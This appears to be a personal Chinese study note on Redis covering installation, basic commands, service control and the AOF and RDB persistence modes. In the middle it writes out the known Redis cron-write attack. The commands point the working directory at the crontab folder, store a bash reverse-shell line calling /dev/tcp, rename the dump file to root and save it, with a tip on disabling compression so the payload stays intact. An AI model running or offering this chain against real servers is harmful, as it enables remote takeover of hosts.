redis小記
下載redis
sudo apt-get install redis-server
redis基本命令
ubuntu16下的redis沒有protected-mode屬性,就算sudo啟動,也不能往/var/spool/cron/crontabs寫計劃任務,感覺很安全
#連接到redis
redis-cli -h 127.0.0.1 -p 6379 -a your_password
#退出redis命令行
quit
#刪除數據庫中的所有鍵
flushall#查看所有鍵值對
keys *
#查看該鍵的值
get keyname #更改Redis的工作目錄
config set dir /var/spool/cron/crontabs #這個目錄后面save會報錯
#設置鍵值對8:...
#注意計劃任務上下要換行防止redis的一些亂碼信息污染
SET 8 "\n\n* * * * * bash -i >& /dev/tcp/127.0.0.1/5555 0>&1\n\n"#更改Redis數據庫文件的名稱
config set dbfilename root
#命令Redis保存當前數據庫狀態到磁盤
save
#改配置
vim /etc/redis/redis.conf
#一些操作
sudo systemctl disable redis-server #禁止redis自啟動
ps -aux |grep redis
kill -9 進程號
sudo systemctl stop redis-server
sudo systemctl status redis-server
sudo systemctl restart redis-server
redis持久化方式
AOF
AOF是一種日志持久化方式,它記錄了服務器執行的所有寫操作命令。這些命令會以追加的方式寫入到AOF文件中,當Redis需要恢復數據時,只需執行AOF文件中的命令就可以恢復到原來的狀態。
appendonly yes
RDB
RDB是一種快照持久化方式,它通過定期將Redis內存中的數據集保存到磁盤上的一個二進制文件中(通常命名為dump.rdb)。這個文件是一個緊湊的二進制文件,包含了某個時間點的完整數據快照。當Redis重新啟動時,它可以加載這個RDB文件,恢復到上次保存的時間點。
rdbcompression yes
查看redis配置文件redis.conf
rdbcompression yes
rdb持久化開啟時,save會進行壓縮存儲導致一些亂碼
關閉一下再save
config set rdbcompression no